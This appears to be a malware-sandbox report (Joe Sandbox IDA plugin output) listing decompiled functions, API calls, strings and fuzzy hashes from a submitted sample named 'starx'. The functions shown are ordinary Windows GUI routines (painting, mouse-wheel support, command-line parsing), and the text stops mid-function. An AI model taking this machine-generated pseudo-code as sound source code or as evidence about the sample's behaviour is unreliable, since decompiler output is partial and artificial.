Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Rect$Window$ClipOffset$B080B380ClientDrawEdgeExcludeFillInflateIntersectLongPoints
String ID:
API String ID: 156109915-0
Opcode ID: aa1967662e9a78a5f6962849aa2ca99a4cd218eaa0ed76e957c24775f8e6badd
Instruction ID: f0f748a300f440e51e67340b73b4f5f57aa443a58073d46f0603e903d73eff0c
Opcode Fuzzy Hash: aa1967662e9a78a5f6962849aa2ca99a4cd218eaa0ed76e957c24775f8e6badd
Instruction Fuzzy Hash: D4910571E00608AFDB01DBA9C885FEEB7F9AF49304F1541A6F914E7252C779AE40CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00406AC8, Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 61
registryclipboardwindowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406AC8(intOrPtr* __eax, int* __edx, intOrPtr* _a4, intOrPtr* _a8) {
				intOrPtr* _v8;
				struct HWND__* _t19;
				int* _t20;
				int* _t26;
				int* _t27;

				_t26 = _t20;
				_t27 = __edx;
				_v8 = __eax;
				_t19 = FindWindowA("MouseZ", "Magellan MSWHEEL");
				 *_v8 = RegisterClipboardFormatA("MSWHEEL_ROLLMSG");
				 *_t27 = RegisterClipboardFormatA("MSH_WHEELSUPPORT_MSG");
				 *_t26 = RegisterClipboardFormatA("MSH_SCROLL_LINES_MSG");
				if( *_t27 == 0 || _t19 == 0) {
					 *_a8 = 0;
				} else {
					 *_a8 = SendMessageA(_t19,  *_t27, 0, 0);
				}
				if( *_t26 == 0 || _t19 == 0) {
					 *_a4 = 3;
				} else {
					 *_a4 = SendMessageA(_t19,  *_t26, 0, 0);
				}
				return _t19;
			}

0x00406acf
0x00406ad1
0x00406ad3
0x00406ae5
0x00406af4
0x00406b00
0x00406b0c
0x00406b11
0x00406b30
0x00406b17
0x00406b27
0x00406b27
0x00406b35
0x00406b52
0x00406b3b
0x00406b4b
0x00406b4b
0x00406b5f

APIs

FindWindowA.USER32 ref: 00406AE0
RegisterClipboardFormatA.USER32(MSWHEEL_ROLLMSG), ref: 00406AEC
RegisterClipboardFormatA.USER32(MSH_WHEELSUPPORT_MSG), ref: 00406AFB
RegisterClipboardFormatA.USER32(MSH_SCROLL_LINES_MSG), ref: 00406B07
SendMessageA.USER32 ref: 00406B1F
SendMessageA.USER32 ref: 00406B43

Strings

MSH_WHEELSUPPORT_MSG, xrefs: 00406AF6
Magellan MSWHEEL, xrefs: 00406AD6
MouseZ, xrefs: 00406ADB
MSH_SCROLL_LINES_MSG, xrefs: 00406B02
MSWHEEL_ROLLMSG, xrefs: 00406AE7

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: ClipboardFormatRegister$MessageSend$FindWindow
String ID: MSH_SCROLL_LINES_MSG$MSH_WHEELSUPPORT_MSG$MSWHEEL_ROLLMSG$Magellan MSWHEEL$MouseZ
API String ID: 1416857345-3736581797
Opcode ID: 17b7872c75248f92256bc63d0d298493654a0fae43c5af7436635331a39e376b
Instruction ID: 6daec647f05658103ee6f76ee5d544d7b072a505eb58e5ba226b4ca262d8fcbd
Opcode Fuzzy Hash: 17b7872c75248f92256bc63d0d298493654a0fae43c5af7436635331a39e376b
Instruction Fuzzy Hash: 181151B1640315AFE710AF55C881F66B7F8EF44714F22843AF946EB2C0D6B86C60CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00435864, Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00435864(intOrPtr* __eax, void* __ecx) {
				intOrPtr _v8;
				struct tagRECT _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v40;
				void* __edi;
				void* __ebp;
				void* _t85;
				intOrPtr* _t150;
				void* _t152;
				void* _t158;
				intOrPtr _t165;
				void* _t181;
				signed int _t183;
				void* _t186;
				void* _t188;
				void* _t190;
				intOrPtr _t191;

				_t152 = __ecx;
				_t188 = _t190;
				_t191 = _t190 + 0xffffffdc;
				_push(_t181);
				_t150 = __eax;
				_t85 = E00441434(__eax, _t158);
				_t193 =  *((char*)(_t150 + 0x165));
				if( *((char*)(_t150 + 0x165)) == 0) {
					return _t85;
				} else {
					_v8 = E0041D3A8(_t152, 1);
					 *[fs:eax] = _t191;
					E0043B698(_v8, _t150);
					 *((intOrPtr*)( *_t150 + 0x44))( *[fs:eax], 0x435a8d, _t188);
					E0041D258( *((intOrPtr*)(_v8 + 0x14)),  *_t150,  *((intOrPtr*)(_t150 + 0x70)), _t181, _t188, _t193);
					E0041D638(_v8,  &_v24);
					InflateRect( &_v24, 0xffffffff, 0xffffffff);
					E0041D638(_v8,  &_v24);
					if( *((char*)(_t150 + 0x165)) != 0) {
						_t186 = 0;
						if( *((char*)(_t150 + 0x163)) != 0) {
							_t186 = 0 +  *((intOrPtr*)(_t150 + 0x168));
						}
						if( *((char*)(_t150 + 0x164)) != 0) {
							_t186 = _t186 +  *((intOrPtr*)(_t150 + 0x168));
						}
						_t199 = _t186;
						if(_t186 == 0) {
							 *((intOrPtr*)( *_t150 + 0x44))();
							E0041D258( *((intOrPtr*)(_v8 + 0x14)),  *_t150,  *((intOrPtr*)(_t150 + 0x70)), _t181, _t188, _t199);
							E0041D638(_v8,  &_v24);
							InflateRect( &_v24, 0xffffffff, 0xffffffff);
							E0041D638(_v8,  &_v24);
						}
						 *((intOrPtr*)( *_t150 + 0x44))();
						E0043C45C(_t150,  &_v40);
						_t183 = GetWindowLongA(E0041DA58(_v8), 0xfffffff0);
						if(( *(_t150 + 0x162) & 0x00000001) != 0) {
							_v40 = _v40 - _t186;
						}
						if(( *(_t150 + 0x162) & 0x00000002) != 0) {
							_v36 = _v36 - _t186;
						}
						if(( *(_t150 + 0x162) & 0x00000004) != 0) {
							_v32 = _v32 + _t186;
						}
						if((_t183 & 0x00200000) != 0) {
							_v32 = _v32 + GetSystemMetrics(0x14);
						}
						if(( *(_t150 + 0x162) & 0x00000008) != 0) {
							_v28 = _v28 + _t186;
						}
						if((_t183 & 0x00100000) != 0) {
							_v28 = _v28 + GetSystemMetrics(0x15);
						}
						DrawEdge(E0041DA58(_v8),  &_v24,  *0x00467AD4 |  *0x00467AE4,  *0x00467AF4 |  *0x00467B04 | 0x00002000);
						_v24.left = _v24.right - GetSystemMetrics(0xa) - 1;
						if(E00434010(_t150) == 0) {
							DrawFrameControl(E0041DA58(_v8),  &_v24, 3, 0x4005);
						} else {
							DrawFrameControl(E0041DA58(_v8),  &_v24, 3, 0x4005);
						}
					}
					_pop(_t165);
					 *[fs:eax] = _t165;
					_push(0x435a94);
					return E00403270(_v8);
				}
			}

0x00435864
0x00435865
0x00435867
0x0043586c
0x0043586d
0x00435871
0x00435876
0x0043587d
0x00435a9a
0x00435883
0x0043588f
0x0043589d
0x004358a5
0x004358b1
0x004358bd
0x004358c8
0x004358d5
0x004358e0
0x004358ec
0x004358f2
0x004358fb
0x004358fd
0x004358fd
0x0043590a
0x0043590c
0x0043590c
0x00435912
0x00435914
0x0043591d
0x00435929
0x00435934
0x00435941
0x0043594c
0x0043594c
0x00435958
0x00435960
0x00435975
0x0043597e
0x00435980
0x00435980
0x0043598a
0x0043598c
0x0043598c
0x00435996
0x00435998
0x00435998
0x004359a1
0x004359aa
0x004359aa
0x004359b4
0x004359b6
0x004359b6
0x004359bf
0x004359c8
0x004359c8
0x00435a23
0x00435a35
0x00435a41
0x00435a72
0x00435a43
0x00435a57
0x00435a57
0x00435a41
0x00435a79
0x00435a7c
0x00435a7f
0x00435a8c
0x00435a8c

APIs

Part of subcall function 0041D3A8: RtlInitializeCriticalSection.KERNEL32(00420DFC,00420DC4,?,00000001,00420F5A,?,?,?,004221C5,?,?,00421FE4,?,0000000E,00000000,?), ref: 0041D3C8

Part of subcall function 0041D638: FrameRect.USER32 ref: 0041D660

InflateRect.USER32(?,000000FF,000000FF), ref: 004358D5
InflateRect.USER32(?,000000FF,000000FF), ref: 00435941
GetWindowLongA.USER32 ref: 00435970
GetSystemMetrics.USER32 ref: 004359A5
GetSystemMetrics.USER32 ref: 004359C3
DrawEdge.USER32(00000000,?,00000000,00000008), ref: 00435A23
GetSystemMetrics.USER32 ref: 00435A2A
DrawFrameControl.USER32 ref: 00435A57

Strings

|wC, xrefs: 00435885

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: MetricsRectSystem$DrawFrameInflate$ControlCriticalEdgeInitializeLongSectionWindow
String ID: |wC
API String ID: 1475008941-755087165
Opcode ID: 6ded8f29f287f60bb139238001935dce74035c6737acd8aa4dff60994d326bb5
Instruction ID: 6010cbf90fa94f881cacbe815e6559cac0c5c108b6d9921d24c376d46fa62394
Opcode Fuzzy Hash: 6ded8f29f287f60bb139238001935dce74035c6737acd8aa4dff60994d326bb5
Instruction Fuzzy Hash: 6061E570A006449BDB00EFA9CD86BDEB7F5AF48314F1405BAE904BB296D7399E05CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00424CBC, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00424CBC(struct HDC__* _a4, RECT* _a8, _Unknown_base(*)()* _a12, long _a16) {
				struct tagPOINT _v12;
				int _v16;
				struct tagRECT _v32;
				struct tagRECT _v48;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t60;
				int _t61;
				RECT* _t64;
				struct HDC__* _t65;

				_t64 = _a8;
				_t65 = _a4;
				if( *0x47f92f != 0) {
					_t61 = 0;
					if(_a12 == 0) {
						L14:
						return _t61;
					}
					_v32.left = 0;
					_v32.top = 0;
					_v32.right = GetSystemMetrics(0);
					_v32.bottom = GetSystemMetrics(1);
					if(_t65 == 0) {
						if(_t64 == 0 || IntersectRect( &_v32,  &_v32, _t64) != 0) {
							L13:
							_t61 = _a12(0x12340042, _t65,  &_v32, _a16);
						} else {
							_t61 = 1;
						}
						goto L14;
					}
					_v16 = GetClipBox(_t65,  &_v48);
					if(GetDCOrgEx(_t65,  &_v12) == 0) {
						goto L14;
					}
					OffsetRect( &_v32,  ~(_v12.x),  ~(_v12.y));
					if(IntersectRect( &_v32,  &_v32,  &_v48) == 0 || _t64 != 0) {
						if(IntersectRect( &_v32,  &_v32, _t64) != 0) {
							goto L13;
						}
						if(_v16 == 1) {
							_t61 = 1;
						}
						goto L14;
					} else {
						goto L13;
					}
				}
				 *0x47f91c = E00424710(7, _t60,  *0x47f91c, _t64, _t65);
				_t61 = EnumDisplayMonitors(_t65, _t64, _a12, _a16);
				goto L14;
			}

0x00424cc5
0x00424cc8
0x00424cd2
0x00424d02
0x00424d08
0x00424dc4
0x00424dcc
0x00424dcc
0x00424d10
0x00424d15
0x00424d20
0x00424d2b
0x00424d30
0x00424d99
0x00424db1
0x00424dc2
0x00424dad
0x00424dad
0x00424dad
0x00000000
0x00424d99
0x00424d3c
0x00424d4b
0x00000000
0x00000000
0x00424d5d
0x00424d75
0x00424d8b
0x00000000
0x00000000
0x00424d91
0x00424d93
0x00424d93
0x00000000
0x00000000
0x00000000
0x00000000
0x00424d75
0x00424ce6
0x00424cfb
0x00000000

APIs

EnumDisplayMonitors.USER32(?,?,?,?), ref: 00424CF5
GetSystemMetrics.USER32 ref: 00424D1A
GetSystemMetrics.USER32 ref: 00424D25
GetClipBox.GDI32(?,?), ref: 00424D37
GetDCOrgEx.GDI32(?,?), ref: 00424D44
OffsetRect.USER32(?,?,?), ref: 00424D5D
IntersectRect.USER32 ref: 00424D6E
IntersectRect.USER32 ref: 00424D84

Part of subcall function 00424710: GetProcAddress.KERNEL32(759B0000,00000000), ref: 00424790

Strings

EnumDisplayMonitors, xrefs: 00424CD4

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Rect$IntersectMetricsSystem$AddressClipDisplayEnumMonitorsOffsetProc
String ID: EnumDisplayMonitors
API String ID: 362875416-2491903729
Opcode ID: fd673a3434390b49a368a76e79f36f1556ae7a7d7f0d702ca0cadab0b22dc25d
Instruction ID: 4a94466a6f3b19567843e6d7d495f5ee95333d4192eb380f54aee841023d091f
Opcode Fuzzy Hash: fd673a3434390b49a368a76e79f36f1556ae7a7d7f0d702ca0cadab0b22dc25d
Instruction Fuzzy Hash: 5B313DB2A0021AAFDB11DBA5E844AEF77BCEF49304F404137F915E3241E73899058BA9

Uniqueness

Uniqueness Score: -1.00%

Function 00441434, Relevance: 16.6, APIs: 11, Instructions: 133
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00441434(intOrPtr* __eax, void* __edx) {
				struct HDC__* _v8;
				void* _v12;
				void* _v16;
				struct tagPAINTSTRUCT _v80;
				intOrPtr _v84;
				void* _v96;
				struct HDC__* _v104;
				void* _v112;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t38;
				struct HDC__* _t47;
				struct HDC__* _t55;
				intOrPtr* _t83;
				intOrPtr _t102;
				void* _t103;
				void* _t108;
				void* _t111;
				void* _t113;
				intOrPtr _t114;

				_t111 = _t113;
				_t114 = _t113 + 0xffffff94;
				_push(_t103);
				_t108 = __edx;
				_t83 = __eax;
				if( *((char*)(__eax + 0x1f8)) == 0 ||  *((intOrPtr*)(__edx + 4)) != 0) {
					if(( *(_t83 + 0x55) & 0x00000001) != 0 || E0043FFD4(_t83) != 0) {
						_t38 = E00440F58(_t83, _t83, _t108, _t103, _t108);
					} else {
						_t38 =  *((intOrPtr*)( *_t83 - 0x10))();
					}
					return _t38;
				} else {
					L004065DC();
					 *((intOrPtr*)( *__eax + 0x44))();
					 *((intOrPtr*)( *__eax + 0x44))();
					_t47 = _v104;
					L00406264();
					_v12 = _t47;
					L0040681C();
					L0040626C();
					_v8 = _t47;
					_v16 = SelectObject(_v8, _v12);
					 *[fs:eax] = _t114;
					_t55 = BeginPaint(E004432A4(_t83),  &_v80);
					E0043DC70(_t83, _v8, 0x14, _v8);
					 *((intOrPtr*)(_t108 + 4)) = _v8;
					E00441434(_t83, _t108);
					 *((intOrPtr*)(_t108 + 4)) = 0;
					 *((intOrPtr*)( *_t83 + 0x44))(_v8, 0, 0, 0xcc0020,  *[fs:eax], 0x441586, _t111, 0, 0, __eax, __eax, _t47, _v84, 0);
					 *((intOrPtr*)( *_t83 + 0x44))(_v84);
					_push(_v104);
					_push(0);
					_push(0);
					L00406244();
					EndPaint(E004432A4(_t83),  &_v80);
					_t102 = _t55;
					 *[fs:eax] = _t102;
					_push(0x44158d);
					SelectObject(_v8, _v16);
					DeleteDC(_v8);
					return DeleteObject(_v12);
				}
			}

0x00441435
0x00441437
0x0044143c
0x0044143d
0x0044143f
0x00441448
0x00441454
0x00441473
0x00441461
0x00441467
0x00441467
0x00441593
0x0044147d
0x0044147f
0x0044148d
0x0044149b
0x0044149e
0x004414a3
0x004414a8
0x004414ae
0x004414b5
0x004414ba
0x004414ca
0x004414d8
0x004414e7
0x004414fc
0x00441504
0x0044150b
0x00441512
0x00441529
0x00441537
0x0044153d
0x0044153e
0x00441540
0x00441543
0x00441554
0x0044155b
0x0044155e
0x00441561
0x0044156e
0x00441577
0x00441585
0x00441585

APIs

739EAC50.USER32(00000000), ref: 0044147F
739EA520.GDI32(00000000,?), ref: 004414A3
739EB380.USER32(00000000,00000000,00000000,?), ref: 004414AE
739EA590.GDI32(00000000,00000000,00000000,00000000,?), ref: 004414B5
SelectObject.GDI32(?,?), ref: 004414C5
BeginPaint.USER32(00000000,?,00000000,00441586,?,?,?,00000000,00000000,00000000,00000000,?), ref: 004414E7
739F97E0.GDI32(00000000,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00000000,?), ref: 00441543
EndPaint.USER32(00000000,?,00000000,00000000,00000000,?,?,?,?,00000000,00000000,00000000,00000000,?), ref: 00441554
SelectObject.GDI32(?,?), ref: 0044156E
DeleteDC.GDI32(?), ref: 00441577
DeleteObject.GDI32(?), ref: 00441580

Part of subcall function 00440F58: BeginPaint.USER32(00000000,?,?,?,?), ref: 00440F7E
Part of subcall function 00440F58: EndPaint.USER32(00000000,?,0044107F,?,?,?), ref: 00441072

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: Paint$Object$BeginDeleteSelect$A520A590B380
String ID:
API String ID: 2363126454-0
Opcode ID: a25a81a0d9dfae23b01871a4e5db08170530fde607b455dc15a5f561c2ecab41
Instruction ID: f2381fda77b1e5a47beb164493d19d322b73567aab3098aaca049284a3b1cb8f
Opcode Fuzzy Hash: a25a81a0d9dfae23b01871a4e5db08170530fde607b455dc15a5f561c2ecab41
Instruction Fuzzy Hash: 07413D71B00204AFDB00EFA9CC85B9EB7F8AF48704F1044BAB906EB291DA79DD05CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00402910, Relevance: 16.6, APIs: 9, Strings: 2, Instructions: 109
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402910(CHAR* __eax, intOrPtr* __edx) {
				char _t5;
				char _t6;
				CHAR* _t7;
				char _t9;
				CHAR* _t11;
				char _t14;
				CHAR* _t15;
				char _t17;
				CHAR* _t19;
				CHAR* _t22;
				CHAR* _t23;
				CHAR* _t32;
				intOrPtr _t33;
				intOrPtr* _t34;
				void* _t35;
				void* _t36;

				_t34 = __edx;
				_t22 = __eax;
				while(1) {
					L2:
					_t5 =  *_t22;
					if(_t5 != 0 && _t5 <= 0x20) {
						_t22 = CharNextA(_t22);
					}
					L2:
					_t5 =  *_t22;
					if(_t5 != 0 && _t5 <= 0x20) {
						_t22 = CharNextA(_t22);
					}
					L4:
					if( *_t22 != 0x22 || _t22[1] != 0x22) {
						_t36 = 0;
						_t32 = _t22;
						while(1) {
							_t6 =  *_t22;
							if(_t6 <= 0x20) {
								break;
							}
							if(_t6 != 0x22) {
								_t7 = CharNextA(_t22);
								_t36 = _t36 + _t7 - _t22;
								_t22 = _t7;
								continue;
							}
							_t22 = CharNextA(_t22);
							while(1) {
								_t9 =  *_t22;
								if(_t9 == 0 || _t9 == 0x22) {
									break;
								}
								_t11 = CharNextA(_t22);
								_t36 = _t36 + _t11 - _t22;
								_t22 = _t11;
							}
							if( *_t22 != 0) {
								_t22 = CharNextA(_t22);
							}
						}
						E0040460C(_t34, _t36);
						_t23 = _t32;
						_t33 =  *_t34;
						_t35 = 0;
						while(1) {
							_t14 =  *_t23;
							if(_t14 <= 0x20) {
								break;
							}
							if(_t14 != 0x22) {
								_t15 = CharNextA(_t23);
								if(_t15 <= _t23) {
									continue;
								} else {
									goto L27;
								}
								do {
									L27:
									 *((char*)(_t33 + _t35)) =  *_t23;
									_t23 =  &(_t23[1]);
									_t35 = _t35 + 1;
								} while (_t15 > _t23);
								continue;
							}
							_t23 = CharNextA(_t23);
							while(1) {
								_t17 =  *_t23;
								if(_t17 == 0 || _t17 == 0x22) {
									break;
								}
								_t19 = CharNextA(_t23);
								if(_t19 <= _t23) {
									continue;
								} else {
									goto L21;
								}
								do {
									L21:
									 *((char*)(_t33 + _t35)) =  *_t23;
									_t23 =  &(_t23[1]);
									_t35 = _t35 + 1;
								} while (_t19 > _t23);
							}
							if( *_t23 != 0) {
								_t23 = CharNextA(_t23);
							}
						}
						return _t23;
					} else {
						_t22 =  &(_t22[2]);
						continue;
					}
				}
			}

0x00402914
0x00402916
0x00402922
0x00402922
0x00402922
0x00402926
0x00402920
0x00402920
0x00402922
0x00402922
0x00402926
0x00402920
0x00402920
0x0040292c
0x0040292f
0x0040293c
0x0040293e
0x00402985
0x00402985
0x00402989
0x00000000
0x00000000
0x00402944
0x00402978
0x00402981
0x00402983
0x00000000
0x00402983
0x0040294c
0x0040295e
0x0040295e
0x00402962
0x00000000
0x00000000
0x00402951
0x0040295a
0x0040295c
0x0040295c
0x0040296b
0x00402973
0x00402973
0x0040296b
0x0040298f
0x00402994
0x00402996
0x00402998
0x004029ed
0x004029ed
0x004029f1
0x00000000
0x00000000
0x0040299e
0x004029d9
0x004029e0
0x00000000
0x00000000
0x00000000
0x00000000
0x004029e2
0x004029e2
0x004029e4
0x004029e7
0x004029e8
0x004029e9
0x00000000
0x004029e2
0x004029a6
0x004029bf
0x004029bf
0x004029c3
0x00000000
0x00000000
0x004029ab
0x004029b2
0x00000000
0x00000000
0x00000000
0x00000000
0x004029b4
0x004029b4
0x004029b6
0x004029b9
0x004029ba
0x004029bb
0x004029b4
0x004029cc
0x004029d4
0x004029d4
0x004029cc
0x004029f9
0x00402937
0x00402937
0x00000000
0x00402937
0x0040292f

APIs

CharNextA.USER32(00000000,?,00000000,00000000,?,00402A42,?,?,?,004638EC,?,Function_00063648,00000000,00000000,00000000,0046390C), ref: 00402947
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,00402A42,?,?,?,004638EC,?,Function_00063648,00000000,00000000,00000000), ref: 00402951
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,00402A42,?,?,?,004638EC,?,Function_00063648,00000000,00000000,00000000), ref: 0040296E
CharNextA.USER32(00000000,?,00000000,00000000,?,00402A42,?,?,?,004638EC,?,Function_00063648,00000000,00000000,00000000,0046390C), ref: 00402978
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,00402A42,?,?,?,004638EC,?,Function_00063648,00000000,00000000,00000000), ref: 004029A1
CharNextA.USER32(00000000,00000000,00000000,?,00000000,00000000,?,00402A42,?,?,?,004638EC,?,Function_00063648,00000000,00000000), ref: 004029AB
CharNextA.USER32(00000000,00000000,00000000,?,00000000,00000000,?,00402A42,?,?,?,004638EC,?,Function_00063648,00000000,00000000), ref: 004029CF
CharNextA.USER32(00000000,00000000,?,00000000,00000000,?,00402A42,?,?,?,004638EC,?,Function_00063648,00000000,00000000,00000000), ref: 004029D9

Strings

", xrefs: 00402931
", xrefs: 0040292C

Memory Dump Source

Source File: 00000000.00000002.360987730.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.360979633.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.361261849.0000000000467000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361272963.0000000000469000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361284229.000000000047E000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.361291084.000000000047F000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.361297824.0000000000485000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_starx.jbxd

Similarity

API ID: CharNext
String ID: "$"
API String ID: 3213498283-3758156766
Opcode ID: 80ec9e6e68595ff78fdd7abc31756d654355b947e97e1e85d2aa809141d43388
Instruction ID: a635fa81096931ab30b4af64d196fa8553b73e045c76df61a950b6bf46de2333
Opcode Fuzzy Hash: 80ec9e6e68595ff78fdd7abc31756d654355b947e97e1e85d2aa809141d43388
Instruction Fuzzy Hash: 6B21AFC07052D11ADF316AB90EC97A76A894B5A314F6804FB95C1B63CBD0FC484BC22E

Uniqueness

Uniqueness Score: -1.00%

Function 004410B0, Relevance: 15.2, APIs: 10, Instructions: 177
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004410B0(void* __eax, void* __ecx, struct HDC__* __edx) {
				struct tagRECT _v44;
				struct tagRECT _v60;
				void* _v68;
				int _v80;
				int _t79;
				void* _t134;
				int _t135;
				void* _t136;
				void* _t159;
				void* _t160;
				void* _t161;
				struct HDC__* _t162;
				intOrPtr* _t163;

				_t163 =  &(_v44.bottom);
				_t134 = __ecx;
				_t162 = __edx;
				_t161 = __eax;
				if( *((char*)(__eax + 0x1a8)) != 0 &&  *((char*)(__eax + 0x1a7)) != 0 &&  *((intOrPtr*)(__eax + 0x17c)) != 0) {
					 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x17c)))) + 0x20))();
				}
				_t78 =  *((intOrPtr*)(_t161 + 0x198));
				if( *((intOrPtr*)(_t161 + 0x198)) == 0) {
					L17:
					_t79 =  *(_t161 + 0x19c);
					if(_t79 == 0) {
						L27:
						return _t79;
					}
					_t79 =  *((intOrPtr*)(_t79 + 8)) - 1;
					if(_t79 < 0) {
						goto L27;
					}
					_v44.right = _t79 + 1;
					_t159 = 0;
					do {
						_t79 = E00413C44( *(_t161 + 0x19c), _t159);
						_t135 = _t79;
						if( *((char*)(_t135 + 0x1a5)) != 0 && ( *(_t135 + 0x50) & 0x00000010) != 0 && ( *((char*)(_t135 + 0x57)) != 0 || ( *(_t135 + 0x1c) & 0x00000010) != 0 && ( *(_t135 + 0x51) & 0x00000004) == 0)) {
							_v44.left = CreateSolidBrush(E0041C5CC(0xff000010));
							E00412810( *((intOrPtr*)(_t135 + 0x40)) - 1,  *((intOrPtr*)(_t135 + 0x40)) +  *((intOrPtr*)(_t135 + 0x48)),  *((intOrPtr*)(_t135 + 0x44)) - 1,  &(_v44.right),  *((intOrPtr*)(_t135 + 0x44)) +  *((intOrPtr*)(_t135 + 0x4c)));
							FrameRect(_t162,  &_v44, _v44);
							DeleteObject(_v60.right);
							_v60.left = CreateSolidBrush(E0041C5CC(0xff000014));
							E00412810( *((intOrPtr*)(_t135 + 0x40)),  *((intOrPtr*)(_t135 + 0x40)) +  *((intOrPtr*)(_t135 + 0x48)) + 1,  *((intOrPtr*)(_t135 + 0x44)),  &(_v60.right),  *((intOrPtr*)(_t135 + 0x44)) +  *((intOrPtr*)(_t135 + 0x4c)) + 1);
							FrameRect(_t162,  &_v60, _v60);
							_t79 = DeleteObject(_v68);
						}
						_t159 = _t159 + 1;
						_t75 =  &(_v44.right);
						 *_t75 = _v44.right - 1;
					} while ( *_t75 != 0);
					goto L27;
				}
				_t160 = 0;
				if(_t134 != 0) {
					_t160 = E00413CA0(_t78, _t134);
					if(_t160 < 0) {
						_t160 = 0;
					}
				}
				 *_t163 =  *((intOrPtr*)( *((intOrPtr*)(_t161 + 0x198)) + 8));
				if(_t160 <  *_t163) {
					do {
						_t136 = E00413C44( *((intOrPtr*)(_t161 + 0x198)), _t160);
						if( *((char*)(_t136 + 0x57)) != 0 || ( *(_t136 + 0x1c) & 0x00000010) != 0 && ( *(_t136 + 0x51) & 0x00000004) == 0) {
							E00412810( *((intOrPtr*)(_t136 + 0x40)),  *((intOrPtr*)(_t136 + 0x40)) +  *(_t136 + 0x48),  *((intOrPtr*)(_t136 + 0x44)),  &(_v44.bottom),  *((intOrPtr*)(_t136 + 0x44)) +  *(_t136 + 0x4c));
							if(RectVisible(_t162,  &(_v44.top)) != 0) {
								if(( *(_t161 + 0x54) & 0x00000080) != 0) {
									 *(_t136 + 0x54) =  *(_t136 + 0x54) | 0x00000080;
								}
								_v60.top = SaveDC(_t162);
